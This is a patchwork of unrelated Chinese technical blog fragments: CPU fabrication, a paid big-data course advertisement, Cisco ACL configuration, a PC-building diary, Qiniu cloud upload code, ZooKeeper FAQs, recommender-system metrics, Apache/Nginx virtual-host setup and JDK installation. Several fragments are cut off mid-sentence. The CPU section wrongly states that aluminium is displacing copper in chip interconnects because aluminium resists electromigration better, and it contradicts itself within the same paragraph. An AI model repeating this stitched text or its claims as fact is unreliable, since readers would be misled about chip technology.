英特尔技术人员在半导体生产工厂内使用自动化测量工具,依据严格的质量标准对晶圆的制造进度进行监测。
除去硅之外,制造CPU还需要一种重要的材料就是金属。目前为止,铝已经成为制作处理器内部配件的主要金属材料,而铜则逐渐被淘汰,这是有一些原因的,在目前的CPU工作电压下,铝的电迁移特性要明显好于铜。所谓电迁移问题,就是指当大量电子流过一段导体时,导体物质原子受电子撞击而离开原有位置,留下空位,空位过多则会导致导体连线断开,而离开原位的原子停留在其它位置,会造成其它地方的短路从而影响芯片的逻辑功能,进而导致芯片无法使用。这就是许多Northwood PenTIum 4换上SNDS(北木暴毕综合症)的原因,当发烧友们第一次给Northwood PenTIum 4超频就急于求成,大幅提高芯片电压时,严重的电迁移问题导致了CPU的瘫痪。这就是intel首次尝试铜互连技术的经历,它显然需要一些改进。不过另一方面讲,应用铜互连技术可以减小芯片面积,同时由于铜导体的电阻更低,其上电流通过的速度也更快。
除了这两样主要的材料之外,在芯片的设计过程中还需要一些种类的化学原料,它们起着不同的作用,这里不再赘述。
CPU 是怎么被制造出来的 ( 1 ) 硅提纯 生产 CPU 等芯片的材料是半导体,现阶段主要的材料是硅 Si ,这是一种非金属元素,从化学的角度来看,由于它处于元素周期表中金属元素区与非金属元素区的交界处,所以具有半导体的性质,适合于制造各种微小的晶体管,是目前最适宜于制造现代大规模集成电路的材料之一。
在硅提纯的过程中,原材料硅将被熔化,并放进一个巨大的石英熔炉。这时向熔炉里放入一颗晶种,以便硅晶体围着这颗晶种生长,直到形成一个几近完美的单晶硅。以往的硅锭的直径大都是 200 毫米,而 CPU 厂商正在增加 300 毫米晶圆的生产。
( 2 )切割晶圆 硅锭造出来了,并被整型成一个完美的圆柱体,接下来将被切割成片状,称为晶圆。晶圆才被真正用于 CPU 的制造。所谓的“切割晶圆”也就是用机器从单晶硅棒上切割下一片事先确定规格的硅晶片,并将其划分成多个细小的区域,每个区域都将成为一个 CPU 的内核 (Die) 。一般来说,晶圆切得越薄,相同量的硅材料能够制造的 CPU 成品就越多。
( 3 )影印( Photolithography ) 在经过热处理得到的硅氧化物层上面涂敷一种光阻 (Photoresist) 物质,紫外线通过印制着 CPU 复杂电路结构图样的模板照射硅基片,被紫外线照射的地方光阻物质溶解。而为了避免让不需要被曝光的区域也受到光的干扰,必须制作遮罩来遮蔽这些区域。这是个相当复杂的过程,每一个遮罩的复杂程度得用 10GB 数据来描述。
( 4 )蚀刻 (Etching) 这是 CPU 生产过程中重要操作,也是 CPU 工业中的重头技术。蚀刻技术把对光的应用推向了极限。蚀刻使用的是波长很短的紫外光并配合很大的镜头。短波长的光将透过这些石英遮罩的孔照在光敏抗蚀膜上,使之曝光。接下来停止光照并移除遮罩,使用特定的化学溶液清洗掉被曝光的光敏抗蚀膜,以及在下面紧贴着抗蚀膜的一层硅。
然后,曝光的硅将被原子轰击,使得暴露的硅基片局部掺杂,从而改变这些区域的导电状态,以制造出 N 井或 P 井,结合上面制造的基片, CPU 的门电路就完成了。
说明:大数据时代,传统运维向大数据运维升级换代很常见,也是个不错的机会。如果想系统学习大数据运维,个人比较推荐通信巨头运维大咖的分享课程 ,主要是实战强、含金量高、专注度高,有6个专题+2个大型项目+腾讯云服务器,真枪实弹传授上千大数据集群运维经验。 课程介绍: 这是专门为IT运维人员设计的高端大数据课程,可能也是目前的 only one!课程内容从100多份招聘要求中萃取知识点,再邀请几位年薪60W+的大数据运维专家共同商讨打磨而成。传统运维人员工作~忙~累~苦~而又工资低,多年运维老手的工资往往不如刚毕业一两年的码农。本课程意在借大数据红利之势,帮助大家抓住机遇拿下高薪,职业华丽升级转型! 课程以电信运营商实战项目为导向,结合企业大数据运维实际应用场景,一步步带着学员掌握大数据运维各个技术环节。通过《从0建设大数据平台》实战,让学员有能力帮助企业实现大数据平台从无到有;通过《大规模集群运维实战》实战,让学员有能力保障维护大型大数据集群的稳定、有效、安全。课程在考虑内容覆盖面同时,非常注重实用性,力求让学员所学即所用,切实解决企业工作中的实际问题,拒绝无用功和假把式。文档丰富详尽,大部分内容来自上千节点产线环境之实践,或许你能整理出一份大数据运维”九阴真经“。 课程亮点: 实战性强:以解决企业实际问题为导向。从0建设大数据平台项目,解决企业大数据平台从无到有的迫切问题。大规模集群运维实战,解决企业如何平稳运行和维护大数据平台。 含金量高:采用Cloudra Manager构建企业级大数据平台,传授上千节点大数据运维经验,解决千亿级别大数据集群产线问题。 专注度高:专注于大数据运维,课程涵盖大数据集群规划、集群部署、集群安全、集群监控、集群容器化、集群运维,培养大数据运维专业人才。 适合人群: 1.IT运维人员提升拿高薪 2.网管/技术支持蜕变转型涨薪 3.Leader/架构师 扩充技术栈 4.大专/本科学生轻松入行大数据 就业岗位: 1.大数据运维工程师 2.大数据平台架构师 3.大数据平台运维 课程大纲: 第一章 大数据运维通识 1.大数据概述及技术生态介绍 2.大数据运维及其他部门如何分工协作 3.大数据运维需要掌握哪些必备技能 4.如何成为高薪的大数据运维人才 第二章 大数据集群规划 1.网络规划 1.1机房区域划分 1.2机房三层网络结构 1.3网络带宽规划(千兆,万兆) 1.4主机网卡bond模式 2.集群规划 2.1集群业务规划 2.2集群节点规划 2.2.1HDFS集群节点规划 2.2.2HBase集群节点规划 2.2.3Kafka集群节点规划 2.2.4Zookeeper节点规划 2.2.5YARN节点规划 2.2.6ElasticSearch节点规划 2.3存储规划 2.3.1Raid规划 2.3.2多磁盘规划 第三章 大数据集群搭建 1.集群安装部署方式 1.1Ambari+hdp自动化部署 1.2CM+cdh自动化部署 1.3Hadoop手动安装部署 2.集群部署平台选择 2.1阿里云 2.2EC2 2.3物理服务器 3.大数据技术组件部署 3.1Zookeeper集群安装 3.2HDFS集群安装 3.3YARN集群安装 3.4Hive客户端安装 3.5HBase集群安装 3.6Kafka集群安装 3.7Spark集群安装 3.8Flink集群安装 3.9接口机/跳板机安装 4.核心技术组件体系结构 4.
目录 介绍相关配置案例一:拒绝学生宿舍访问财务室网络。案例二:拒绝学生宿舍访问www服务。案例三:拒绝学生宿舍ping服务器,但可以访问网站。案例四:学生宿舍不可以ping服务器,不能用www.gxa.com访问网站,但可以用地址访问网站。案例五:服务器提供DNS/WEB/FTP(tcp/20、12端口)服务 基于时间的ACL相关配置步骤 介绍 访问控制列表简称ACL,它使用包过滤技术,在路由器上读取第三层和第四层包头中的信息如源地址、目的地址、源端口、目的端口等。根据预先定义好的规则对包进行过滤,从而达到访问控制的目的。
核心配置参数
相关配置 案例一:拒绝学生宿舍访问财务室网络。 判断是用标准ACL还是用扩展ACL?
根据要求意思是拒绝整个学生宿舍的网络,就应该用标准ACL。
搞清楚ACL应该做在哪个路由器上?
标准ACL应做在离目标最近的端口。
第一步:设置ACL规则(名称方式命名) R2(config)#ip access-list standard ACL1 做一个标准ACL名字叫ACL1 R2(config-std-nacl)#deny 192.168.10.0 0.0.0.255 拒绝学生宿舍网络,用反掩码精确匹配 如何查看?R2#sh ip access-lists 第二步:应用ACL规则(思考应用到哪个端口?) 标准ACL应做在离目标最近的端口,方向为out。 R2(config)#int f0/0 R2(config-if)#ip access-group ACL1 out R2#sh running-config 第三步:验证ACL是否正确? 如果要修改ACL? R2(config)#ip access-list standard ACL1 进入到ACL规则集 R2(config-std-nacl)#permit any 添加规则 R2(config-std-nacl)#no 20 删除编号为20的规则 R2(config)#no ip access-list standard ACL1 删除名为ACL1的规则集 如果用编号方式做ACL规则? R2(config)#access-list 10 deny 192.168.10.0 0.0.0.255 R2(config)#access-list 10 permit any 删除规则:R2(config)#ip access-list standard 10 R2(config-std-nacl)#no 20 删除整个规则集:R2(config)#no access-list 10 R2(config)#int f0/0 R2(config-if)#ip access-group 10 out 案例二:拒绝学生宿舍访问www服务。 什么是www服务?万维网服务,提供WEB页面访问,协议是:http 默认端口号:80
电脑大家都会用,但这个会用大多数人体现在软件使用上,对于机箱里面的那些硬件,我们一般都不太懂,尤其是把一堆硬件DIY组装成一台自己喜欢的整机,可能好多人都没尝试过吧。我自己本也是一个硬件小白,看到网上购买硬件的朋友都说自己装机,于是一时冲动也想尝试。一路下来,边学边问边组装,从选购硬件到安装完成,弄了好多天。现在总结一下这其中采购安装的经历经验,分享给像我一样想尝试自己装机的朋友,尤其是选择相同相似配件的朋友希望能够借鉴。
1. 关于CPU和平台。以前不论是台式品牌机、笔记本,还是电脑城给配的机器,都是用的英特尔CPU。自己意识里面就觉得Intel好。这次本来想选购9900K, 但是看到网上很多人说打游戏发热严重,最好用水冷,了解了一下水冷,又听说早晚得漏风险大,水冷没接触过不明白就感觉没底。有人说9700K散热好点,而且打游戏不比9900K差,甚至还好,于是暗自决定上9700K。主板方面华硕太贵,自己以前用过技嘉主板,一直挺好没问题,看性价比也比华硕高,就决定选择技嘉品牌。于是技嘉Z390各款了解了一圈,各种对比(其实看价钱最直接),最后看中AORUS MASTER 大师,这款除了用料,散热,扩展性等方面,我更看重上面的那个声卡,据说是技嘉同型号里最好的。无奈过了几天又看了一篇9700K对比AMD今年新出的3700X的评测文章, 相比之下好像除主频其它各方面都是3700X强一点,于是赶紧又去恶补了一下AMD这边的情况(以前听说过AMD这个牌子,但是不了解),后来这一看,今年AMD的CPU也不错啊。再深入了解,上面还有3900x, 中间还有3800x。3900X也跃跃欲试想入,后来一算计,一是价格差了1500块钱,二是我也不绘图什么的线程太多了貌似没太大用处,打游戏主频也不比3800x高多少,缓存大了一倍,但是3800x 32M也不少了。没选3700X, 都说体质不如3800X好。再说这俩U基本不差什么价钱。主板还是选技嘉,而且看了一篇评测说X570 AORUS MASTER 大师主板在同型号里与其他厂商比,算是相当不错的了。我这有个小算盘,在想AMD良心点,新出CPU老的平台也能用一下,那么明年后年如果AMD的新U除了堆核心,万一主频再高点有点突破什么的,我也许还能在AM4主板上把3800x升级一下,要是入了3900x近期再升级就太不划算了。
2. 关于内存。直接选金士顿,心理和上面一样,就知道这个品牌大,很多时候相信品牌是不会错的。DDR4 3600 掠夺者8Gx2 套装,本来都已经在路上了,第二天又看了看内存相关知识,一是说什么同品牌同型号、同一批货、同颗粒分布等等吧,二是说32G是未来标配了,这样一想算了,直接就4条套装弄个32G吧,2条套装退了。主板最大支持128G,估计没几个人那么配的吧?据说内存也不是越大越好,主要看CPU性能。因为不喜欢RGB灯花里胡哨的, 内存选的不带灯的,价钱也便宜点。其实最开始看的是4000hz的掠夺者内存,后来了解到AMD3800x平台最佳性能是在3700hz(有一篇评测,感兴趣的自己搜一下),这样才定的3600hz。
3. 关于散热器。第一次知道了有一个猫头鹰牌子,了解到了D15与D15S的区别。这里价格不是主要决定因素,要的是性能。想购入D15,但是普遍说挡内存,又了解到有一款后出的新品U12a, 性能好,兼容性强,就定了这一款。
4. 关于固态硬盘。乱七八糟一堆牌子,没兴致去对比不了解的牌子,没用过也不想冒险,直接三星了,毕竟以前用过几个。先选了一个970EVO PLUS m.2 500G 做C盘装系统。Pro的没选,太贵。其实250G也够,但是这东西也不总换,一步到位吧,有时候C盘在Windows桌面上临时存点东西也挺方便的,再者听说固态是容量越大,性能越好一点。然后在970EVO m.2 和860 EVO 之间犹豫了一阵,主要是差在价格上。后来一咬牙上了970 1T的,毕竟我玩的游戏都放在这个上面,平台的钱都花了,结果性能在这里有点瓶颈,感觉心理不舒服。想想这东西, 安在主板上,那读写多快啊。顺带一句,又选了一个希捷 7200转2T 的 机械硬盘。这个便宜,平时存点单反照片,性价比高,噪音大点,但是比固态长久稳定。
5. 关于显卡。同理以前用过技嘉的1060 6G,这次还选技嘉(我是不是太忠于技嘉了?!)。微星显卡多年前也用过,没什么印象了。影驰的也用过,但是给我留的印象是费电,噪音大。技嘉显卡本想选2070 SUPER 大雕, 双十一期间一看2080就贵了300元,还没等决定呢,第二天一看2080 SUPER 特价在2080基础上也只贵了约300元,于是直接入了2080 SUPER gaming OC 8G。2080 SUPER 大雕没入,太贵。2080S 总体来说不错了,消费级的上面就剩下2080Ti了,估计战个2年应该不会太落后吧。
6. 关于电源。这一块,开始不太懂怎么算,在京东客服,知乎上都咨询了。这里感谢曾经回答过我疑问的知乎硬件DIY达人们!看到技嘉建议显卡配650瓦的电源,我这一算,3800x 是105瓦,这不就700多瓦了么?!还有别的一堆东西呢?我是不是得配1000瓦的电源啊?!有点懵。。。后来,多亏知乎大神相助并解释,建议我总计600或650瓦就够了。但为了以后升级想长远点,入了安钛克全模组金牌850瓦。主要是怕了,以前的一台电脑城配的台式机,后来有一段时间总是蓝屏,各种查原因,前后弄了几个月,后来才发现是有地方升级电源不足了,开机自检直接电不足蓝屏,还有时候用着突然就蓝。后来自己把一个DVD刻录光驱电源断了,之后就好了,就差那点电(DVD本身没事,拿到别的电脑上试过)。
7. 关于机箱。这个过程就不好选了,因为太多了。以前用过Tt机箱,几年了很不错,结果这次一看都没相中。后来看电源的时候顺路看了安钛克机箱,本想选择P110侧透那款,看着很漂亮,虽然不喜欢灯,但是机箱里看着透彻也不错。可后来看到有网友说用侧透机箱侧面玻璃自己炸了,还有图;再者自己也了解到这款机箱风扇只给带了2个,如怕机箱内部温度高的话,多加风扇吧或者给风扇升级吧,机箱特价499元的基础上还得加个200、300元的风扇钱,那总价就上去了,不加吧,因为自己第一次装机,还对温度没把握。后来又看中了安钛克的P101静音机箱,里面带了4个风扇,机箱很大评价也说用料厚实,价格还更便宜许多,这就等着双十一特价那天入手。结果期间没事看网上机箱评测,发现了一个德商必酷 Be quiet的牌子,外形自己实在是太喜欢了,是一眼就看中了那种。对比各个系列之后最终选择了 DARK BASE 900 型,这款是全模组,最看重的机箱自带的3个新款高性能风扇(对机箱的散热我一直是特别在乎),机箱的尺寸、静音、用料、空间、防尘、后续的扩展,以及前面板的配置等方面都十分不错,就是价格高了点,不看性价比了,毕竟一分钱一分货,以后怎么折腾升级硬件它也够用了。
8. 关于安装。各种配件都选购好了,这一堆东西组合到一起是不是科学合理好用,就看安装实践了。说实话,还有一点小紧张(因为第一次嘛,紧张是难免的:)。动手之前,参考了各种装机视频,3800x评测,X570讲解什么的,力求不走弯路,少出错。接下来就从头简单复述一下自己装机的过程,重点说一下自己中间困惑和出错的地方,希望对第一次装机的小白有帮助。
首先,现在是冬天干燥静电多,装机要尽量防静电,自己购买了有线防静电手环(据说无线的不怎么好用),防静电桌垫、手套。尴尬的是,物流太慢了,有的直到现在还没收到。硬件到齐之后,等了一天多,防静电的东西一件也没到,等不及了后来就开始组装了。X570主板最内层包装是一个比较大的防水防静电袋子,就把那个袋子平铺在桌子上,当桌垫使用了。另外凡是有可能会碰到电子芯片的时候,就先去冲洗一下手,擦干顺路再摸一下自来水金属龙头。这应该是可以去静电的。反正幸运的是最终没损坏任何电子管什么的。
根据学来的步骤,最开始就是把CPU装到主板上。这个很简单,打开压杆按着防呆三角符号的方向轻轻地把3800x放到X570CPU槽里就行了,垂直下去,免得碰着针脚,然后压回金属压杆。然后装内存,4根条按着对应的内存插槽装进去就行了,下压的时候要在条的上面2边同时用力,避免发生倾斜伤害金手指部位。接下来就是安装猫头鹰散热器,先把主板上预装好的散热器配件拿下来,再装上U12A自带的与AM4平台匹配的配件,安装时一是注意里外方向,再就是螺丝拧差不多就行了,毕竟主板材质经不住使劲的拧,力道就是稍一用力感觉到头了拧不动了,就可以了。然后就是在放散热器之前,先给CPU表面涂上硅脂。这里涂的是猫头鹰自带的硅脂。关于硅脂怎么涂,之前在网上看了一大堆材料,最后决定按着九点法来涂,每一点都不用太多,说明书是在中间放一大滴,我就是把那9个点的量加起来估计一大滴的样子吧。但是四周那8个点多一些,最中间的量少(后来证明中间涂少了,往下看)。接下来就是把散热器自带的2个风扇拿下来,然后连接散热器底板到CPU上面,U12A是7热管的,散热体里面一面管多另一面管少,究竟哪一面朝着内存,哪一面朝着机箱后面的风扇,到现在我也没整明白,因为说明书也没说,我的笨法是在网上找了几篇评测U12A的文章,对比之后发现它们都是一个方向,就是顶面裸露管头数量少的那一面向后,我猜测是因为管多的这一面发热量大,正面风扇往里给风应该先吹这一面吧。放好后就是把散热器两面的长杆固定螺丝给拧到主板上安好的固定件上面。这里要注意,这2个螺杆下面都有弹簧,而且还挺粗弹力很足,开始我怎么也拧不进去,使蛮劲还怕弄坏了,后来发现就是这2个弹簧力量大。正确的方法是,先用一只手把散热器放平扶稳,并且稍用力向下压着让弹簧缩回去一点,另一手拧的时候(备一把长杆的有磁力的螺丝刀,方便多了)先是给一边少带上几个扣,然后另一边也先拧上个3、4圈的样子,如此往复,直到拧不动为止。千万不要一面拧太多,另一边会在弹簧作用下一下子翘起来不好弄。U12A虽然是一个单塔,但是体积还是很大的,重量也大,为了牢靠一点,还有工作的时候风扇的颤动不传递到CPU,还是得把螺杆拧住了,这个力可以稍大一点,因为是拧到固定件上面。我呢开始就是一面拧多了,另一面一下子翘起来了,散热器底面也从CPU上面离开了,这时也是一个好事,发现CPU中间几乎没什么硅脂,四周薄薄的一层隐隐约约能看到金属挺好的,但是中间有一个长方形的面积没硅脂,赶紧在这个长方形里面竖着又涂上了一小条,之后再没打开看,估计应该是都覆盖上了。这个千万不能涂太厚,硅脂还有热的不传导性,涂多了更容易把CPU热量给焖在里面释放不出来。但是,我发现3800x盒装自带的原厂散热器可是涂了厚厚的一层啊,看不到金属面,感觉挺厚的,而且均匀地把整个散热器底面给覆盖上了,网上的那些说AMD CPU不爱传热出来的,是不是很多都用了原装的散热器呢?!再下来就是把猫头鹰散热器上自带的2个高性能风扇给装回去,这里我分不清风扇的方向,不知道它们工作的时候是顺时针转呢还是逆时针转,哪个送风哪个往外吸风,为了不混淆,我的方法是把前后2个风扇在卸下来的时候与它们原来在散热器上的位置做了记忆(拿手机照一下)。尴尬的是之后第一次点亮的时候,发现2个风扇还是装反了!!!出风的方向与机箱排风是反的。。。我明明记得装回去的时候和原来一模一样的,难道是出厂时候就给装反了?!
下一步就把主板给装到机箱的主架上面。必酷900机箱是全模组的,就是里里外外什么东西都可以给拆下来,然后按着自己的喜好和需要重新布局安装。机箱唯一的一个缺点就是太沉了,整个装机过程中,搬过来搬下去,放倒了立起来,开始还行,后来胳膊都酸了。机箱很大里面特别宽敞,尺寸估计接近全塔了吧,所以很容易就把主板收纳了。一共是9个固定位,8个螺丝,中间的那个起支撑作用直接放进去就行。机箱提供了几种螺丝,找到合适的都拧好就OK了。这里在不伤害主板底板的情况下,稍用一点力,毕竟x570大师到处都是散热装甲很重,主板后面也是整个金属覆盖的,再加上猫头鹰也很重,所以固定住了很重要。
文章目录 1 开始2 学习开始1 上传报错:{"erreo":"incorrect region,please use up-z2.qiniuup.com"}解决方案: 2 下载 1 开始 自己弄一个免费的云来玩一玩,刚接触还不懂,就自己上网多看看别人怎么操作的。
之前做项目用到了文件的上传下载,需要两个服务器,开发不方便,现在自己搞一个云服务,把文件上传到云,方便开发。
当然这个要自己多看文档,多学习啊~
七牛目前只支持一个请求上传一个文件,所以一次上传多个文件的话,就等同于一次发送多个请求,七牛不支持。
解决方案:
服务端,在上传的业务逻辑里加个循环
客户端,使用七牛提供的js sdk 实例:http://jssdk.demo.qiniu.io/
批量上传工具:
同步上传Windows客户端
命令行工具
官方文档参考:
从生成的 token 解析上传策略:https://developer.qiniu.com/kodo/kb/1488/from-the-generated-token-parsing-upload-strategy
公开 / 私有资源下载:https://developer.qiniu.com/kodo/manual/1655/download-public
如何上传base64编码图片到七牛云:https://developer.qiniu.com/kodo/kb/1326/how-to-upload-photos-to-seven-niuyun-base64-code
七牛云上传下载操作指南:https://developer.qiniu.com/kodo/kb/1336/upload-download-instructions
2 学习开始 1 上传 七牛云 要先实名认证,在“对象存储” 新建存储空间
需要提前准备的参数:AccessKey,SecretKey(七牛云个人中心的“密钥管理”中),存储的空间名字(自己创建的),存储空间的外链接默认域名,如下图:
需要使用到qiniu-java-sdk、happy-dns-java、okhttp3、okio、gson、okhttp、commons-codec等依赖代码
Qiniu.java import java.io.IOException; import com.qiniu.common.QiniuException; import com.qiniu.common.Zone; import com.qiniu.http.Response; import com.qiniu.storage.Configuration; import com.qiniu.storage.UploadManager; import com.qiniu.util.Auth; public class Qiniu{ //设置好账号的ACCESS_KEY和SECRET_KEY String ACCESS_KEY = "2xxxxxxxxxxxxxxxxxx"; //这两个登录七牛 账号里面可以找到 String SECRET_KEY = "
文章目录 ZooKeeper 是什么?ZooKeeper 提供了什么?Zookeeper 文件系统Zookeeper 怎么保证主从节点的状态同步?恢复模式广播模式 四种类型的数据节点 ZnodeZookeeper Watcher 机制 – 数据变更通知Watcher 特性总结 客户端注册 Watcher 实现服务端处理 Watcher 实现客户端回调 WatcherACL 权限控制机制Chroot 特性会话管理服务器角色Zookeeper 下 Server 工作状态数据同步zookeeper 是如何保证事务的顺序一致性的?分布式集群中为什么会有 Master主节点?zk 节点宕机如何处理?zookeeper 负载均衡和 nginx 负载均衡区别Zookeeper 有哪几种几种部署模式?集群最少要几台机器,集群规则是怎样的?集群中有 3 台服务器,其中一个节点宕机,这个时候 Zookeeper 还可以使用吗?集群支持动态添加机器吗?Zookeeper 对节点的 watch 监听通知是永久的吗?为什么不是永久的?Zookeeper 的 java 客户端都有哪些?chubby 是什么,和 zookeeper 比你怎么看?说几个 zookeeper 常用的命令。ZAB 和 Paxos 算法的联系与区别?Zookeeper 的典型应用场景1 数据发布/订阅2 负载均衡 Zookeeper 都有哪些功能?说一下 Zookeeper 的通知机制?Zookeeper 和 Dubbo 的关系? ZooKeeper 是什么? ZooKeeper 是一个开源的分布式协调服务。它是一个为分布式应用提供一致性服务的软件,分布式应用程序可以基于 Zookeeper 实现诸如数据发布/订阅、负载均衡、命名服务、分布式协调/通知、集群管理、Master 选举、分布式锁和分布式队列等功能。
ZooKeeper 的目标就是封装好复杂易出错的关键服务,将简单易用的接口和性能高效、功能稳定的系统提供给用户。
Zookeeper 保证了如下分布式一致性特性:
文章目录 一、推荐系统实验方法1.1 离线实验1.2 用户调查1.3 在线实验 二、评测指标三、测评维度 在推荐系统的早期研究中,很多人将好的推荐系统定义为能够作出准确预测的推荐系统。比如,一个图书推荐系统预测一个用户将来会购买《 C++ Primer中文版》这本书,而用户后来确实购买了,那么这就被看做一次准确的预测。预测准确度是推荐系统领域的重要指标(没有之一)。这个指标的好处是,它可以比较容易地通过离线方式计算出来,从而方便研究人员快速评价和选择不同的推荐算法。
但是,很多研究表明,准确的预测并不代表好的推荐。 比如说,该用户早
就准备买《 C++ Primer中文版》了,无论是否给他推荐,他都准备购买,那么这个推荐结果显然是不好的,因为它并未使用户购买更多的书,而仅仅是方便用户购买一本他本来就准备买的书。那么,对于用户来说,他会觉得这个推荐结果很不新颖,不能令他惊喜。同时,对于《 C++ Primer中文版》的出版社来说,这个推荐也没能增加这本书的潜在购买人数。所以,这是一个看上去很好,但其实却很失败的推荐。举一个更极端的例子,某推测系统预测明天太阳将从东方升起,虽然预测准确率是100%,却是一种没有意义的预测。
所谓好的推荐系统不仅仅能够准确预测用户的行为,而且能够扩展用户的视野,帮助用户发现那些他们可能会感兴趣,但却不那么容易发现的东西。同时,推荐系统还要能够帮助商家将那些被埋没在长尾中的好商品介绍给可能会对它们感兴趣的用户。
为了全面评测推荐系统对三方利益的影响,本文将从不同角度出发,提出不同的指标。这些指标包括准确度、覆盖度、新颖度、惊喜度、信任度、透明度等。这些指标中,有些可以离线计算,有些只有在线才能计算,有些只能通过用户问卷获得。下面各节将会依次介绍这些指标的出发点、含义,以及一些指标的计算方法。
一、推荐系统实验方法 在介绍推荐系统的指标之前,首先看一下计算和获得这些指标的主要实验方法。在推荐系统中,主要有3种评测推荐效果的实验方法,即离线实验( offline experiment)、用户调查( user study)和在线实验( online experiment)。
1.1 离线实验 离线实验的方法一般由如下几个步骤构成:
(1) 通过日志系统获得用户行为数据,并按照一定格式生成一个标准的数据集;(2) 将数据集按照一定的规则分成训练集和测试集;(3) 在训练集上训练用户兴趣模型,在测试集上进行预测;(4) 通过事先定义的离线指标评测算法在测试集上的预测结果。 推荐系统的离线实验都是在数据集上完成的,也就是说它不需要一个实际的系统来供它实验,而只要有一个从实际系统日志中提取的数据集即可。
优点:不需要真实用户参与,可以直接快速地计算出来,从而方便、快速地测试大量不同的算法。
缺点:无法获得很多商业上关注的指标,如点击率、转化率等,而找到和商业指标非常相关的离线指标也是很困难的事情。
1.2 用户调查 离线实验的指标和实际的商业指标存在差距,比如预测准确率和用户满意度之间就存
在很大差别,高预测准确率不等于高用户满意度。因此,如果要准确评测一个算法,需要相对比较真实的环境。最好的方法就是将算法直接上线测试,但在对算法会不会降低用户满意度不太有把握的情况下,上线测试具有较高的风险,所以在上线测试前一般需要做一次称为用户调查的测试。
用户调查是推荐系统评测的一个重要工具,很多离线时没有办法评测的与用户主观感受有关的指标都可以通过用户调查获得。比如,如果我们想知道推荐结果是否很令用户惊喜,那我们最好直接询问用户。
优点:可以获得很多体现用户主观感受的指标,相对在线实验风险很低,出现错误后很容易弥补。
缺点:招募测试用户代价较大,很难组织大规模的测试用户,因此会使测试结果的统计意义不足。此外,在很多时候设计双盲实验非常困难,而且用户在测试环境下的行为和真实环境下的行为可能有所不同,因而在测试环境下收集的测试指标可能在真实环境下无法重现。
1.3 在线实验 在完成离线实验和必要的用户调查后,可以将推荐系统上线做AB测试,将它和旧的算法进行比较。
AB测试*:是一种很常用的在线评测算法的实验方法。它通过一定的规则将用户随机分成几组,并对不同组的用户采用不同的算法,然后通过统计不同组用户的各种不同的评测指标比较不同算法,比如可以统计不同组用户的点击率,通过点击率比较不同算法的性能。
优点:可以公平获得不同算法实际在线时的性能指标,包括商业上关注的指标。
缺点:周期比较长,必须进行长期的实验才能得到可靠的结果。此外,一个大型网站的AB测试系统的设计也是一项复杂的工程。
切分流量是AB测试中的关键,不同的层以及控制这些层的团队需要从一个统一的地
方获得自己AB测试的流量,而不同层之间的流量应该是正交的。
图1-23是一个简单的AB测试系统。用户进入网站后,流量分配系统决定用户是否需要被进行AB测试,如果需要的话,流量分配系统会给用户打上在测试中属于什么分组的标签。然后用户浏览网页,而用户在浏览网页时的行为都会被通过日志系统发回后台的日志数据库。此时,如果用户有测试分组的标签,那么该标签也会被发回后台数据库。在后台,实验人员的工作首先是配置流量分配系统,决定满足什么条件的用户参加什么样的测试。其次,实验人员需要统计日志数据库中的数据,通过评测系统生成不同分组用户的实验报告,并比较和评测实验结果。
一般来说,一个新的推荐算法最终上线,需要完成上面所说的3个实验。
首先,需要通过离线实验证明它在很多离线指标上优于现有的算法。然后,需要通过用户调查确定它的用户满意度不低于现有的算法。最后,通过在线的AB测试确定它在我们关心的指标上优于现有的算法。 二、评测指标 本节将介绍各种推荐系统的评测指标。这些评测指标可用于评价推荐系统各方面的性能。这些指标有些可以定量计算,有些只能定性描述,有些可以通过离线实验计算,有些需要通过用户调查获得,还有些只能在线评测。
1. 用户满意度
用户作为推荐系统的重要参与者,其满意度是评测推荐系统的最重要指标。但是,用户满意度没有办法离线计算,只能通过用户调查或者在线实验获得。
用户调查获得用户满意度主要是通过调查问卷的形式。用户对推荐系统的满意度分为不同的层次。
在在线系统中,用户满意度主要通过一些对用户行为的统计得到。比如在电子商务网站中,用户如果购买了推荐的商品,就表示他们在一定程度上满意。因此,我们可以利用购买率度量用户的满意度。此外,有些网站会通过设计一些用户反馈界面收集用户满意度。比如在视频网站Hulu的推荐页面和豆瓣网络电台中,都有对推荐结果满意或者不满意的反馈按钮,通过统计两种按钮的单击情况就可以度量系统的用户满意度。更一般的情况下,我们可以用点击率、用户停留时间和转化率等指标度量用户的满意度。
2. 预测准确度
预测准确度度量一个推荐系统或者推荐算法预测用户行为的能力。这个指标是最重要的推荐系统离线评测指标,从推荐系统诞生的那一天起,几乎99%与推荐相关的论文都在讨论这个指标。这主要是因为该指标可以通过离线实验计算,方便了很多学术界的研究人员研究推荐算法。
在计算该指标时需要有一个离线的数据集,该数据集包含用户的历史行为记录。然后,将该数据集通过时间分成训练集和测试集。最后,通过在训练集上建立用户的行为和兴趣模型预测用户在测试集上的行为,并计算预测行为和测试集上实际行为的重合度作为预测准确度。
由于离线的推荐算法有不同的研究方向,因此下面将针对不同的研究方向介绍它们的预测准确度指标。
(1)评分预测
很多提供推荐服务的网站都有一个让用户给物品打分的功能。那么,如果知道了用户对物品的历史评分,就可以从中习得用户的兴趣模型,并预测该用户在将来看到一个他没有评过分的物品时,会给这个物品评多少分。预测用户对物品评分的行为称为评分预测。
一、配置apache 1.然后切换php版本
2.接着配置创建项目 (注:每个wamp/lamp架构可以创建n个项)
(1)首先配置网址
(2)然后创建目录
(3)写配置文件(只需要复制就可以了)
配置代码:
<VirtualHost _default_:80> ServerName 网址 DocumentRoot "项目存放目录" <Directory "项目存放目录"> Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted </Directory> </VirtualHost> (4)重启服务(切记:每次修改配置都需要重启服务)
这样apache web服务器就配置好了。
二、配置Nginx 1.切换到Nginx
2.配置host文件网站域名和新建站点目录都同apache的步骤
3.打开配置文件,进行配置(只需按要求复制稍加修改即可)
在nginx下配置虚拟主机非常简单,只需在nginx下http {} 中 增加一个server(填入如下配置)即可新增一个网站/虚拟主机/站点
配置代码:
在这里插入代码片server { # 监听端口 listen 80; # 绑定域名(多个之间用空格隔开) server_name 待绑定的域名; location / { # 项目根目录 root 站点目录也就是项目存放位置; # 默认首页 index index.html index.htm; # 开启目录文件列表(不写则403) autoindex on; } } 4.
【本文是学校老师写的,我仅仅是稍加整理】
【虽然不是我写的,但如有疑问,可加本人qq2287015934交流】
【如果你还没有下载jdk,请先下载】
这里我将jdk解压到了
E:\develop\jdk\1.8这个位置
打开后应该是这样的效果 如果解压之后文件夹里的文件对不上,说明解压有问题,需要重新解压
解压好了之后 需要配置环境变量
打开我的电脑
按照图片要求进行操作
(本次实例的时候是以WIN7系统为例,WIN10的操作基本相同 )
在环境变量这个窗口中
